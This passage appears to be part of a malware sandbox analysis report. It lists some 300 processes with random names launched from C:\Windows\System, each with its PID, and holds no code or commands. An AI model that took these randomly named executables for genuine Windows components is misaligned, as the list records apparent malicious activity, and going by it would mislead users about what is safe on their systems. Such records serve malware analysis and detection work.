- C:\Windows\System\cuyXDaf.exe
  C:\Windows\System\cuyXDaf.exe
  2⤵
  PID:7120
- C:\Windows\System\YpnUMhQ.exe
  C:\Windows\System\YpnUMhQ.exe
  2⤵
  PID:7288
- C:\Windows\System\CzWEJUO.exe
  C:\Windows\System\CzWEJUO.exe
  2⤵
  PID:7396
- C:\Windows\System\JGyMZfb.exe
  C:\Windows\System\JGyMZfb.exe
  2⤵
  PID:1076
- C:\Windows\System\CqLAHog.exe
  C:\Windows\System\CqLAHog.exe
  2⤵
  PID:7532
- C:\Windows\System\FqfyjhT.exe
  C:\Windows\System\FqfyjhT.exe
  2⤵
  PID:8336
- C:\Windows\System\qDSRuRf.exe
  C:\Windows\System\qDSRuRf.exe
  2⤵
  PID:8368
- C:\Windows\System\heIPgPF.exe
  C:\Windows\System\heIPgPF.exe
  2⤵
  PID:8388
- C:\Windows\System\Zihucip.exe
  C:\Windows\System\Zihucip.exe
  2⤵
  PID:8408
- C:\Windows\System\VcFPXwM.exe
  C:\Windows\System\VcFPXwM.exe
  2⤵
  PID:8432
- C:\Windows\System\gmChEOI.exe
  C:\Windows\System\gmChEOI.exe
  2⤵
  PID:8452
- C:\Windows\System\TSOSAwk.exe
  C:\Windows\System\TSOSAwk.exe
  2⤵
  PID:8472
- C:\Windows\System\aBfnOzG.exe
  C:\Windows\System\aBfnOzG.exe
  2⤵
  PID:8492
- C:\Windows\System\kqNLzUM.exe
  C:\Windows\System\kqNLzUM.exe
  2⤵
  PID:8508
- C:\Windows\System\yuUqmYk.exe
  C:\Windows\System\yuUqmYk.exe
  2⤵
  PID:8536
- C:\Windows\System\BeNHUuZ.exe
  C:\Windows\System\BeNHUuZ.exe
  2⤵
  PID:8556
- C:\Windows\System\LRmLsMO.exe
  C:\Windows\System\LRmLsMO.exe
  2⤵
  PID:8596
- C:\Windows\System\hLKvyXL.exe
  C:\Windows\System\hLKvyXL.exe
  2⤵
  PID:8620
- C:\Windows\System\XfUEUQw.exe
  C:\Windows\System\XfUEUQw.exe
  2⤵
  PID:8644
- C:\Windows\System\hrCsrWb.exe
  C:\Windows\System\hrCsrWb.exe
  2⤵
  PID:8664
- C:\Windows\System\RXgRost.exe
  C:\Windows\System\RXgRost.exe
  2⤵
  PID:8684
- C:\Windows\System\CiUQNOC.exe
  C:\Windows\System\CiUQNOC.exe
  2⤵
  PID:8712
- C:\Windows\System\rmWXcaJ.exe
  C:\Windows\System\rmWXcaJ.exe
  2⤵
  PID:8736
- C:\Windows\System\DFbAaUu.exe
  C:\Windows\System\DFbAaUu.exe
  2⤵
  PID:8764
- C:\Windows\System\BgoQipE.exe
  C:\Windows\System\BgoQipE.exe
  2⤵
  PID:8784
- C:\Windows\System\JMEIZDy.exe
  C:\Windows\System\JMEIZDy.exe
  2⤵
  PID:8800
- C:\Windows\System\YSoFZHA.exe
  C:\Windows\System\YSoFZHA.exe
  2⤵
  PID:9076
- C:\Windows\System\AfBMREd.exe
  C:\Windows\System\AfBMREd.exe
  2⤵
  PID:9092
- C:\Windows\System\jZcjNhJ.exe
  C:\Windows\System\jZcjNhJ.exe
  2⤵
  PID:9108
- C:\Windows\System\sjqkhTn.exe
  C:\Windows\System\sjqkhTn.exe
  2⤵
  PID:9144
- C:\Windows\System\DPVjUXO.exe
  C:\Windows\System\DPVjUXO.exe
  2⤵
  PID:9164
- C:\Windows\System\bBjeYWt.exe
  C:\Windows\System\bBjeYWt.exe
  2⤵
  PID:9188
- C:\Windows\System\hnMiZgA.exe
  C:\Windows\System\hnMiZgA.exe
  2⤵
  PID:9212
- C:\Windows\System\isJHCvd.exe
  C:\Windows\System\isJHCvd.exe
  2⤵
  PID:7284
- C:\Windows\System\iSiRiwn.exe
  C:\Windows\System\iSiRiwn.exe
  2⤵
  PID:6492
- C:\Windows\System\EbbFlYQ.exe
  C:\Windows\System\EbbFlYQ.exe
  2⤵
  PID:7276
- C:\Windows\System\wShXqYV.exe
  C:\Windows\System\wShXqYV.exe
  2⤵
  PID:7420
- C:\Windows\System\JQXDRLR.exe
  C:\Windows\System\JQXDRLR.exe
  2⤵
  PID:7592
- C:\Windows\System\rLEVAFR.exe
  C:\Windows\System\rLEVAFR.exe
  2⤵
  PID:5720
- C:\Windows\System\DSuvDZm.exe
  C:\Windows\System\DSuvDZm.exe
  2⤵
  PID:4440
- C:\Windows\System\xyPeOIB.exe
  C:\Windows\System\xyPeOIB.exe
  2⤵
  PID:7764
- C:\Windows\System\LJKGyCN.exe
  C:\Windows\System\LJKGyCN.exe
  2⤵
  PID:6476
- C:\Windows\System\MzGKCIB.exe
  C:\Windows\System\MzGKCIB.exe
  2⤵
  PID:7844
- C:\Windows\System\uYjzNrv.exe
  C:\Windows\System\uYjzNrv.exe
  2⤵
  PID:7952
- C:\Windows\System\UbTdwuc.exe
  C:\Windows\System\UbTdwuc.exe
  2⤵
  PID:8020
- C:\Windows\System\iWiJNxf.exe
  C:\Windows\System\iWiJNxf.exe
  2⤵
  PID:6632
- C:\Windows\System\RNVYCrO.exe
  C:\Windows\System\RNVYCrO.exe
  2⤵
  PID:6160
- C:\Windows\System\XsHnbUi.exe
  C:\Windows\System\XsHnbUi.exe
  2⤵
  PID:5792
- C:\Windows\System\KFHKFwO.exe
  C:\Windows\System\KFHKFwO.exe
  2⤵
  PID:6948
- C:\Windows\System\XZbMlpO.exe
  C:\Windows\System\XZbMlpO.exe
  2⤵
  PID:5924
- C:\Windows\System\oTByEMm.exe
  C:\Windows\System\oTByEMm.exe
  2⤵
  PID:7444
- C:\Windows\System\EIdKorN.exe
  C:\Windows\System\EIdKorN.exe
  2⤵
  PID:7388
- C:\Windows\System\AGcPecv.exe
  C:\Windows\System\AGcPecv.exe
  2⤵
  PID:7660
- C:\Windows\System\iJcWPuE.exe
  C:\Windows\System\iJcWPuE.exe
  2⤵
  PID:7692
- C:\Windows\System\mmUKCQy.exe
  C:\Windows\System\mmUKCQy.exe
  2⤵
  PID:7752
- C:\Windows\System\YNheBhJ.exe
  C:\Windows\System\YNheBhJ.exe
  2⤵
  PID:8488
- C:\Windows\System\MNbKskw.exe
  C:\Windows\System\MNbKskw.exe
  2⤵
  PID:8568
- C:\Windows\System\jZDplGQ.exe
  C:\Windows\System\jZDplGQ.exe
  2⤵
  PID:7908
- C:\Windows\System\odwAuYx.exe
  C:\Windows\System\odwAuYx.exe
  2⤵
  PID:7984
- C:\Windows\System\xYPWtXk.exe
  C:\Windows\System\xYPWtXk.exe
  2⤵
  PID:8036
- C:\Windows\System\JbcQdEq.exe
  C:\Windows\System\JbcQdEq.exe
  2⤵
  PID:8772
- C:\Windows\System\EYovKhH.exe
  C:\Windows\System\EYovKhH.exe
  2⤵
  PID:8440
- C:\Windows\System\NfEAUvN.exe
  C:\Windows\System\NfEAUvN.exe
  2⤵
  PID:8564
- C:\Windows\System\hQJPvuR.exe
  C:\Windows\System\hQJPvuR.exe
  2⤵
  PID:8136
- C:\Windows\System\WHKvHJU.exe
  C:\Windows\System\WHKvHJU.exe
  2⤵
  PID:8848
- C:\Windows\System\jMyfKTo.exe
  C:\Windows\System\jMyfKTo.exe
  2⤵
  PID:6668
- C:\Windows\System\HNLLrwN.exe
  C:\Windows\System\HNLLrwN.exe
  2⤵
  PID:8212
- C:\Windows\System\owiAFBN.exe
  C:\Windows\System\owiAFBN.exe
  2⤵
  PID:7240
- C:\Windows\System\uVkVgRM.exe
  C:\Windows\System\uVkVgRM.exe
  2⤵
  PID:8296
- C:\Windows\System\fUJVXdU.exe
  C:\Windows\System\fUJVXdU.exe
  2⤵
  PID:8416
- C:\Windows\System\YzBiUgJ.exe
  C:\Windows\System\YzBiUgJ.exe
  2⤵
  PID:9220
- C:\Windows\System\QqsVzBI.exe
  C:\Windows\System\QqsVzBI.exe
  2⤵
  PID:9244
- C:\Windows\System\HpXTRuG.exe
  C:\Windows\System\HpXTRuG.exe
  2⤵
  PID:9272
- C:\Windows\System\wilpLlY.exe
  C:\Windows\System\wilpLlY.exe
  2⤵
  PID:9296
- C:\Windows\System\bUyqMjt.exe
  C:\Windows\System\bUyqMjt.exe
  2⤵
  PID:9324
- C:\Windows\System\npCHzMD.exe
  C:\Windows\System\npCHzMD.exe
  2⤵
  PID:9344
- C:\Windows\System\LlJXuWl.exe
  C:\Windows\System\LlJXuWl.exe
  2⤵
  PID:9364
- C:\Windows\System\BnoEzYK.exe
  C:\Windows\System\BnoEzYK.exe
  2⤵
  PID:9380
- C:\Windows\System\mRdVPna.exe
  C:\Windows\System\mRdVPna.exe
  2⤵
  PID:9416
- C:\Windows\System\qCCyXnt.exe
  C:\Windows\System\qCCyXnt.exe
  2⤵
  PID:9448
- C:\Windows\System\AGbdwOc.exe
  C:\Windows\System\AGbdwOc.exe
  2⤵
  PID:9472
- C:\Windows\System\vfBTdWA.exe
  C:\Windows\System\vfBTdWA.exe
  2⤵
  PID:9500
- C:\Windows\System\wdpXFoF.exe
  C:\Windows\System\wdpXFoF.exe
  2⤵
  PID:9524
- C:\Windows\System\LlUMIVO.exe
  C:\Windows\System\LlUMIVO.exe
  2⤵
  PID:9540
- C:\Windows\System\xrfOIyV.exe
  C:\Windows\System\xrfOIyV.exe
  2⤵
  PID:9556
- C:\Windows\System\ypMbQLH.exe
  C:\Windows\System\ypMbQLH.exe
  2⤵
  PID:9576
- C:\Windows\System\LaUrjyA.exe
  C:\Windows\System\LaUrjyA.exe
  2⤵
  PID:9592
- C:\Windows\System\ZNMpPip.exe
  C:\Windows\System\ZNMpPip.exe
  2⤵
  PID:9620
- C:\Windows\System\ufCFfOC.exe
  C:\Windows\System\ufCFfOC.exe
  2⤵
  PID:9636
- C:\Windows\System\mRycATO.exe
  C:\Windows\System\mRycATO.exe
  2⤵
  PID:9664
- C:\Windows\System\WPvYfbX.exe
  C:\Windows\System\WPvYfbX.exe
  2⤵
  PID:9692
- C:\Windows\System\TjellJC.exe
  C:\Windows\System\TjellJC.exe
  2⤵
  PID:9720
- C:\Windows\System\TEcUByW.exe
  C:\Windows\System\TEcUByW.exe
  2⤵
  PID:9740
- C:\Windows\System\aVOcsvk.exe
  C:\Windows\System\aVOcsvk.exe
  2⤵
  PID:9772
- C:\Windows\System\HuvmAGl.exe
  C:\Windows\System\HuvmAGl.exe
  2⤵
  PID:9788
- C:\Windows\System\tyFqHpN.exe
  C:\Windows\System\tyFqHpN.exe
  2⤵
  PID:9816
- C:\Windows\System\JuAFXAc.exe
  C:\Windows\System\JuAFXAc.exe
  2⤵
  PID:9844
- C:\Windows\System\TpAgfhp.exe
  C:\Windows\System\TpAgfhp.exe
  2⤵
  PID:9868
- C:\Windows\System\FCdBjjS.exe
  C:\Windows\System\FCdBjjS.exe
  2⤵
  PID:9884
- C:\Windows\System\ygirdSG.exe
  C:\Windows\System\ygirdSG.exe
  2⤵
  PID:9908
- C:\Windows\System\vhcTrau.exe
  C:\Windows\System\vhcTrau.exe
  2⤵
  PID:9936
- C:\Windows\System\AaOlWEY.exe
  C:\Windows\System\AaOlWEY.exe
  2⤵
  PID:9956
- C:\Windows\System\wJSryAH.exe
  C:\Windows\System\wJSryAH.exe
  2⤵
  PID:9976
- C:\Windows\System\vAthJJN.exe
  C:\Windows\System\vAthJJN.exe
  2⤵
  PID:9996
- C:\Windows\System\DsiEDwW.exe
  C:\Windows\System\DsiEDwW.exe
  2⤵
  PID:10028
- C:\Windows\System\DLETMUM.exe
  C:\Windows\System\DLETMUM.exe
  2⤵
  PID:10048
- C:\Windows\System\WdWWUes.exe
  C:\Windows\System\WdWWUes.exe
  2⤵
  PID:10076
- C:\Windows\System\fDdvRhk.exe
  C:\Windows\System\fDdvRhk.exe
  2⤵
  PID:10104
- C:\Windows\System\QFMRHLL.exe
  C:\Windows\System\QFMRHLL.exe
  2⤵
  PID:10132
- C:\Windows\System\SxsikAk.exe
  C:\Windows\System\SxsikAk.exe
  2⤵
  PID:10156
- C:\Windows\System\FOjadsY.exe
  C:\Windows\System\FOjadsY.exe
  2⤵
  PID:10176
- C:\Windows\System\YINUPDb.exe
  C:\Windows\System\YINUPDb.exe
  2⤵
  PID:10200
- C:\Windows\System\wTVYvUi.exe
  C:\Windows\System\wTVYvUi.exe
  2⤵
  PID:10224
- C:\Windows\System\LztQUDz.exe
  C:\Windows\System\LztQUDz.exe
  2⤵
  PID:8696
- C:\Windows\System\DaRdXkr.exe
  C:\Windows\System\DaRdXkr.exe
  2⤵
  PID:9184
- C:\Windows\System\NdDzJGB.exe
  C:\Windows\System\NdDzJGB.exe
  2⤵
  PID:7508
- C:\Windows\System\ByPSLTo.exe
  C:\Windows\System\ByPSLTo.exe
  2⤵
  PID:8276
- C:\Windows\System\igAvDka.exe
  C:\Windows\System\igAvDka.exe
  2⤵
  PID:7176
- C:\Windows\System\aepzRcm.exe
  C:\Windows\System\aepzRcm.exe
  2⤵
  PID:8300
- C:\Windows\System\wjszZxL.exe
  C:\Windows\System\wjszZxL.exe
  2⤵
  PID:7668
- C:\Windows\System\MDQAtBG.exe
  C:\Windows\System\MDQAtBG.exe
  2⤵
  PID:8384
- C:\Windows\System\RLzxXEv.exe
  C:\Windows\System\RLzxXEv.exe
  2⤵
  PID:8068
- C:\Windows\System\pfMiURu.exe
  C:\Windows\System\pfMiURu.exe
  2⤵
  PID:8156
- C:\Windows\System\yMJPcqz.exe
  C:\Windows\System\yMJPcqz.exe
  2⤵
  PID:9020
- C:\Windows\System\TjfeAcr.exe
  C:\Windows\System\TjfeAcr.exe
  2⤵
  PID:9228
- C:\Windows\System\LAHLPca.exe
  C:\Windows\System\LAHLPca.exe
  2⤵
  PID:8616
- C:\Windows\System\zroNXwb.exe
  C:\Windows\System\zroNXwb.exe
  2⤵
  PID:8776
- C:\Windows\System\HBoZPee.exe
  C:\Windows\System\HBoZPee.exe
  2⤵
  PID:8796
- C:\Windows\System\rOYhfSa.exe
  C:\Windows\System\rOYhfSa.exe
  2⤵
  PID:9376
- C:\Windows\System\sUpKLsl.exe
  C:\Windows\System\sUpKLsl.exe
  2⤵
  PID:9104
- C:\Windows\System\UzdzLun.exe
  C:\Windows\System\UzdzLun.exe
  2⤵
  PID:8880
- C:\Windows\System\BPYnJjE.exe
  C:\Windows\System\BPYnJjE.exe
  2⤵
  PID:9196
- C:\Windows\System\NcTLOsH.exe
  C:\Windows\System\NcTLOsH.exe
  2⤵
  PID:9512
- C:\Windows\System\mVtBRmF.exe
  C:\Windows\System\mVtBRmF.exe
  2⤵
  PID:10252
- C:\Windows\System\EFjpHvM.exe
  C:\Windows\System\EFjpHvM.exe
  2⤵
  PID:10276
- C:\Windows\System\yeKYIQb.exe
  C:\Windows\System\yeKYIQb.exe
  2⤵
  PID:10292
- C:\Windows\System\zuhTBqP.exe
  C:\Windows\System\zuhTBqP.exe
  2⤵
  PID:10312
- C:\Windows\System\VRldOJl.exe
  C:\Windows\System\VRldOJl.exe
  2⤵
  PID:10332
- C:\Windows\System\RWHgmNS.exe
  C:\Windows\System\RWHgmNS.exe
  2⤵
  PID:10356
- C:\Windows\System\VFyGNPz.exe
  C:\Windows\System\VFyGNPz.exe
  2⤵
  PID:10372
- C:\Windows\System\NqoIQaI.exe
  C:\Windows\System\NqoIQaI.exe
  2⤵
  PID:10392
- C:\Windows\System\zVZssxa.exe
  C:\Windows\System\zVZssxa.exe
  2⤵
  PID:10412
- C:\Windows\System\PKoHsKm.exe
  C:\Windows\System\PKoHsKm.exe
  2⤵
  PID:10432
- C:\Windows\System\PlEGFOw.exe
  C:\Windows\System\PlEGFOw.exe
  2⤵
  PID:10448
- C:\Windows\System\KwPyYrq.exe
  C:\Windows\System\KwPyYrq.exe
  2⤵
  PID:10468
- C:\Windows\System\uQCMPED.exe
  C:\Windows\System\uQCMPED.exe
  2⤵
  PID:10492
- C:\Windows\System\ZHLSbia.exe
  C:\Windows\System\ZHLSbia.exe
  2⤵
  PID:10512
- C:\Windows\System\LVyWZkX.exe
  C:\Windows\System\LVyWZkX.exe
  2⤵
  PID:10532
- C:\Windows\System\SPTYezQ.exe
  C:\Windows\System\SPTYezQ.exe
  2⤵
  PID:11008
- C:\Windows\System\OjlPpqo.exe
  C:\Windows\System\OjlPpqo.exe
  2⤵
  PID:11032
- C:\Windows\System\KplSbiU.exe
  C:\Windows\System\KplSbiU.exe
  2⤵
  PID:11064
- C:\Windows\System\ktBGDui.exe
  C:\Windows\System\ktBGDui.exe
  2⤵
  PID:11084
- C:\Windows\System\JcTIlWs.exe
  C:\Windows\System\JcTIlWs.exe
  2⤵
  PID:11104
- C:\Windows\System\QDwvcDr.exe
  C:\Windows\System\QDwvcDr.exe
  2⤵
  PID:11136
- C:\Windows\System\PMYkbhp.exe
  C:\Windows\System\PMYkbhp.exe
  2⤵
  PID:11160
- C:\Windows\System\lQNVyWQ.exe
  C:\Windows\System\lQNVyWQ.exe
  2⤵
  PID:11184
- C:\Windows\System\XKdSwNF.exe
  C:\Windows\System\XKdSwNF.exe
  2⤵
  PID:11200
- C:\Windows\System\EGTMAwr.exe
  C:\Windows\System\EGTMAwr.exe
  2⤵
  PID:11224
- C:\Windows\System\iCJCxEV.exe
  C:\Windows\System\iCJCxEV.exe
  2⤵
  PID:11256
- C:\Windows\System\DapKnVb.exe
  C:\Windows\System\DapKnVb.exe
  2⤵
  PID:7360
- C:\Windows\System\KaMPtHJ.exe
  C:\Windows\System\KaMPtHJ.exe
  2⤵
  PID:9632
- C:\Windows\System\jtaYdyv.exe
  C:\Windows\System\jtaYdyv.exe
  2⤵
  PID:9680
- C:\Windows\System\shWpOXX.exe
  C:\Windows\System\shWpOXX.exe
  2⤵
  PID:2536
- C:\Windows\System\qygfJPe.exe
  C:\Windows\System\qygfJPe.exe
  2⤵
  PID:9728
- C:\Windows\System\TwPjTmD.exe
  C:\Windows\System\TwPjTmD.exe
  2⤵
  PID:9796
- C:\Windows\System\zfuiUWC.exe
  C:\Windows\System\zfuiUWC.exe
  2⤵
  PID:7996
- C:\Windows\System\nyUAhPC.exe
  C:\Windows\System\nyUAhPC.exe
  2⤵
  PID:9860
- C:\Windows\System\fmVoFPL.exe
  C:\Windows\System\fmVoFPL.exe
  2⤵
  PID:7736
- C:\Windows\System\KvvBcjc.exe
  C:\Windows\System\KvvBcjc.exe
  2⤵
  PID:10012
- C:\Windows\System\tvFzpyv.exe
  C:\Windows\System\tvFzpyv.exe
  2⤵
  PID:8400
- C:\Windows\System\gjouHdu.exe
  C:\Windows\System\gjouHdu.exe
  2⤵
  PID:7232
- C:\Windows\System\esGiWhm.exe
  C:\Windows\System\esGiWhm.exe
  2⤵
  PID:8404
- C:\Windows\System\UPRuoei.exe
  C:\Windows\System\UPRuoei.exe
  2⤵
  PID:9068
- C:\Windows\System\VFrnZsk.exe
  C:\Windows\System\VFrnZsk.exe
  2⤵
  PID:9240
- C:\Windows\System\wggscVi.exe
  C:\Windows\System\wggscVi.exe
  2⤵
  PID:9152
- C:\Windows\System\CLwSprH.exe
  C:\Windows\System\CLwSprH.exe
  2⤵
  PID:10268
- C:\Windows\System\PujkRzQ.exe
  C:\Windows\System\PujkRzQ.exe
  2⤵
  PID:7528
- C:\Windows\System\eLGjnhq.exe
  C:\Windows\System\eLGjnhq.exe
  2⤵
  PID:9628
- C:\Windows\System\uyJkYlv.exe
  C:\Windows\System\uyJkYlv.exe
  2⤵
  PID:10384
- C:\Windows\System\MrgvXYT.exe
  C:\Windows\System\MrgvXYT.exe
  2⤵
  PID:10444
- C:\Windows\System\lGkDBkp.exe
  C:\Windows\System\lGkDBkp.exe
  2⤵
  PID:7488
- C:\Windows\System\CiBNasA.exe
  C:\Windows\System\CiBNasA.exe
  2⤵
  PID:9920
- C:\Windows\System\fHybUkC.exe
  C:\Windows\System\fHybUkC.exe
  2⤵
  PID:7708
- C:\Windows\System\UUAtowc.exe
  C:\Windows\System\UUAtowc.exe
  2⤵
  PID:9992
- C:\Windows\System\pjVRHld.exe
  C:\Windows\System\pjVRHld.exe
  2⤵
  PID:7888
- C:\Windows\System\RmNLAVG.exe
  C:\Windows\System\RmNLAVG.exe
  2⤵
  PID:10120
- C:\Windows\System\LHWoFja.exe
  C:\Windows\System\LHWoFja.exe
  2⤵
  PID:10608
- C:\Windows\System\oHCWusA.exe
  C:\Windows\System\oHCWusA.exe
  2⤵
  PID:10220
- C:\Windows\System\lbXUxJG.exe
  C:\Windows\System\lbXUxJG.exe
  2⤵
  PID:8680
- C:\Windows\System\XTeTSQB.exe
  C:\Windows\System\XTeTSQB.exe
  2⤵
  PID:7760
- C:\Windows\System\fQTpqEW.exe
  C:\Windows\System\fQTpqEW.exe
  2⤵
  PID:10664
- C:\Windows\System\JtgfcHy.exe
  C:\Windows\System\JtgfcHy.exe
  2⤵
  PID:9392
- C:\Windows\System\anNrDou.exe
  C:\Windows\System\anNrDou.exe
  2⤵
  PID:9520
- C:\Windows\System\azfTxFT.exe
  C:\Windows\System\azfTxFT.exe
  2⤵
  PID:11276
- C:\Windows\System\JRAzhew.exe
  C:\Windows\System\JRAzhew.exe
  2⤵
  PID:11296
- C:\Windows\System\EoCJyEt.exe
  C:\Windows\System\EoCJyEt.exe
  2⤵
  PID:11316
- C:\Windows\System\BrTGeIy.exe
  C:\Windows\System\BrTGeIy.exe
  2⤵
  PID:11340
- C:\Windows\System\SfmdBxE.exe
  C:\Windows\System\SfmdBxE.exe
  2⤵
  PID:11368
- C:\Windows\System\SJdfBtk.exe
  C:\Windows\System\SJdfBtk.exe
  2⤵
  PID:11400
- C:\Windows\System\YhsHbNB.exe
  C:\Windows\System\YhsHbNB.exe
  2⤵
  PID:11436
- C:\Windows\System\OUWxOdl.exe
  C:\Windows\System\OUWxOdl.exe
  2⤵
  PID:11460
- C:\Windows\System\klLwucr.exe
  C:\Windows\System\klLwucr.exe
  2⤵
  PID:11492
- C:\Windows\System\oUCWzBm.exe
  C:\Windows\System\oUCWzBm.exe
  2⤵
  PID:11516
- C:\Windows\System\NDlAMFs.exe
  C:\Windows\System\NDlAMFs.exe
  2⤵
  PID:11552
- C:\Windows\System\DdUNgsu.exe
  C:\Windows\System\DdUNgsu.exe
  2⤵
  PID:11592
- C:\Windows\System\tujasIS.exe
  C:\Windows\System\tujasIS.exe
  2⤵
  PID:11624
- C:\Windows\System\nBXwZwX.exe
  C:\Windows\System\nBXwZwX.exe
  2⤵
  PID:11644
- C:\Windows\System\cUEKUvG.exe
  C:\Windows\System\cUEKUvG.exe
  2⤵
  PID:11676
- C:\Windows\System\OVqOAAm.exe
  C:\Windows\System\OVqOAAm.exe
  2⤵
  PID:11704
- C:\Windows\System\rirFCCe.exe
  C:\Windows\System\rirFCCe.exe
  2⤵
  PID:11732
- C:\Windows\System\vkXdEqu.exe
  C:\Windows\System\vkXdEqu.exe
  2⤵
  PID:11760
- C:\Windows\System\MuqvSKB.exe
  C:\Windows\System\MuqvSKB.exe
  2⤵
  PID:11792
- C:\Windows\System\zCYOOMy.exe
  C:\Windows\System\zCYOOMy.exe
  2⤵
  PID:11820
- C:\Windows\System\WJfDdqX.exe
  C:\Windows\System\WJfDdqX.exe
  2⤵
  PID:11840
- C:\Windows\System\SAVzGhx.exe
  C:\Windows\System\SAVzGhx.exe
  2⤵
  PID:11868
- C:\Windows\System\ucctpDP.exe
  C:\Windows\System\ucctpDP.exe
  2⤵
  PID:11892
- C:\Windows\System\qTXmrOo.exe
  C:\Windows\System\qTXmrOo.exe
  2⤵
  PID:11912
- C:\Windows\System\JXwNEuR.exe
  C:\Windows\System\JXwNEuR.exe
  2⤵
  PID:11940
- C:\Windows\System\ZBKNBsH.exe
  C:\Windows\System\ZBKNBsH.exe
  2⤵
  PID:11960
- C:\Windows\System\VsQIymX.exe
  C:\Windows\System\VsQIymX.exe
  2⤵
  PID:11984
- C:\Windows\System\OcoMgVo.exe
  C:\Windows\System\OcoMgVo.exe
  2⤵
  PID:12008
- C:\Windows\System\eLRVukB.exe
  C:\Windows\System\eLRVukB.exe
  2⤵
  PID:12028
- C:\Windows\System\LxBivaC.exe
  C:\Windows\System\LxBivaC.exe
  2⤵
  PID:12052
- C:\Windows\System\FKtaKbB.exe
  C:\Windows\System\FKtaKbB.exe
  2⤵
  PID:12088
- C:\Windows\System\arfIPDP.exe
  C:\Windows\System\arfIPDP.exe
  2⤵
  PID:12108
- C:\Windows\System\lewWTGR.exe
  C:\Windows\System\lewWTGR.exe
  2⤵
  PID:12136
- C:\Windows\System\IZXqrWk.exe
  C:\Windows\System\IZXqrWk.exe
  2⤵
  PID:12152
- C:\Windows\System\UtCJidn.exe
  C:\Windows\System\UtCJidn.exe
  2⤵
  PID:12184
- C:\Windows\System\PafHcfH.exe
  C:\Windows\System\PafHcfH.exe
  2⤵
  PID:12208
- C:\Windows\System\GkwZlqf.exe
  C:\Windows\System\GkwZlqf.exe
  2⤵
  PID:12228
- C:\Windows\System\YENvPZv.exe
  C:\Windows\System\YENvPZv.exe
  2⤵
  PID:12252
- C:\Windows\System\sPWjjjw.exe
  C:\Windows\System\sPWjjjw.exe
  2⤵
  PID:12276
- C:\Windows\System\TgIkByj.exe
  C:\Windows\System\TgIkByj.exe
  2⤵
  PID:9732
- C:\Windows\System\RkRtDHo.exe
  C:\Windows\System\RkRtDHo.exe
  2⤵
  PID:10440
- C:\Windows\System\PxLelVs.exe
  C:\Windows\System\PxLelVs.exe
  2⤵
  PID:10476
- C:\Windows\System\XfrzLae.exe
  C:\Windows\System\XfrzLae.exe
  2⤵
  PID:10968
- C:\Windows\System\QBgwvzH.exe
  C:\Windows\System\QBgwvzH.exe
  2⤵
  PID:10084
- C:\Windows\System\NHjxPtH.exe
  C:\Windows\System\NHjxPtH.exe
  2⤵
  PID:10564
- C:\Windows\System\cbxgrdx.exe
  C:\Windows\System\cbxgrdx.exe
  2⤵
  PID:11156
- C:\Windows\System\zKQZxgL.exe
  C:\Windows\System\zKQZxgL.exe
  2⤵
  PID:11220
- C:\Windows\System\gngMjyq.exe
  C:\Windows\System\gngMjyq.exe
  2⤵
  PID:9568
- C:\Windows\System\aBGFaea.exe
  C:\Windows\System\aBGFaea.exe
  2⤵
  PID:5020
- C:\Windows\System\mVDsgLL.exe
  C:\Windows\System\mVDsgLL.exe
  2⤵
  PID:8040
- C:\Windows\System\EnAtoiJ.exe
  C:\Windows\System\EnAtoiJ.exe
  2⤵
  PID:8320
- C:\Windows\System\WBpPaTl.exe
  C:\Windows\System\WBpPaTl.exe
  2⤵
  PID:8376
- C:\Windows\System\usogalB.exe
  C:\Windows\System\usogalB.exe
  2⤵
  PID:9900
- C:\Windows\System\ralycTg.exe
  C:\Windows\System\ralycTg.exe
  2⤵
  PID:8444
- C:\Windows\System\xBVMpYp.exe
  C:\Windows\System\xBVMpYp.exe
  2⤵
  PID:8116
- C:\Windows\System\qAgMBJV.exe
  C:\Windows\System\qAgMBJV.exe
  2⤵
  PID:10704
- C:\Windows\System\mzzcueb.exe
  C:\Windows\System\mzzcueb.exe
  2⤵
  PID:10172
- C:\Windows\System\RQMXhMV.exe
  C:\Windows\System\RQMXhMV.exe
  2⤵
  PID:9304
- C:\Windows\System\JPSwRzh.exe
  C:\Windows\System\JPSwRzh.exe
  2⤵
  PID:8464
- C:\Windows\System\HvsnVIU.exe
  C:\Windows\System\HvsnVIU.exe
  2⤵
  PID:9332
- C:\Windows\System\PtGUYej.exe
  C:\Windows\System\PtGUYej.exe
  2⤵
  PID:9492
- C:\Windows\System\FnxIGQZ.exe
  C:\Windows\System\FnxIGQZ.exe
  2⤵
  PID:8176
- C:\Windows\System\rxhuMyp.exe
  C:\Windows\System\rxhuMyp.exe
  2⤵
  PID:7740
- C:\Windows\System\LBiyrNv.exe
  C:\Windows\System\LBiyrNv.exe
  2⤵
  PID:8092
- C:\Windows\System\XiQqLVe.exe
  C:\Windows\System\XiQqLVe.exe
  2⤵
  PID:9468
- C:\Windows\System\neQEVvA.exe
  C:\Windows\System\neQEVvA.exe
  2⤵
  PID:10828
- C:\Windows\System\murJKtG.exe
  C:\Windows\System\murJKtG.exe
  2⤵
  PID:11332
- C:\Windows\System\RxDZxuH.exe
  C:\Windows\System\RxDZxuH.exe
  2⤵
  PID:11396
- C:\Windows\System\tUUajJz.exe
  C:\Windows\System\tUUajJz.exe
  2⤵
  PID:12292
- C:\Windows\System\uaBLfnJ.exe
  C:\Windows\System\uaBLfnJ.exe
  2⤵
  PID:12320
- C:\Windows\System\LMAqcwy.exe
  C:\Windows\System\LMAqcwy.exe
  2⤵
  PID:12356
- C:\Windows\System\XYvOnfZ.exe
  C:\Windows\System\XYvOnfZ.exe
  2⤵
  PID:12376
- C:\Windows\System\JkNOCDG.exe
  C:\Windows\System\JkNOCDG.exe
  2⤵
  PID:12396
- C:\Windows\System\ndpJBWY.exe
  C:\Windows\System\ndpJBWY.exe
  2⤵
  PID:12424
- C:\Windows\System\IjThKbJ.exe
  C:\Windows\System\IjThKbJ.exe
  2⤵
  PID:12444
- C:\Windows\System\VtdfSrE.exe
  C:\Windows\System\VtdfSrE.exe
  2⤵
  PID:12464
- C:\Windows\System\riZoikh.exe
  C:\Windows\System\riZoikh.exe
  2⤵
  PID:12484
- C:\Windows\System\kCRAiql.exe
  C:\Windows\System\kCRAiql.exe
  2⤵
  PID:12508
- C:\Windows\System\hPojVOz.exe
  C:\Windows\System\hPojVOz.exe
  2⤵
  PID:12532
- C:\Windows\System\xqstoBv.exe
  C:\Windows\System\xqstoBv.exe
  2⤵
  PID:12556
- C:\Windows\System\aiLoJHm.exe
  C:\Windows\System\aiLoJHm.exe
  2⤵
  PID:12576
- C:\Windows\System\oVfWyEN.exe
  C:\Windows\System\oVfWyEN.exe
  2⤵
  PID:12600
- C:\Windows\System\ApCLUoc.exe
  C:\Windows\System\ApCLUoc.exe
  2⤵
  PID:12632
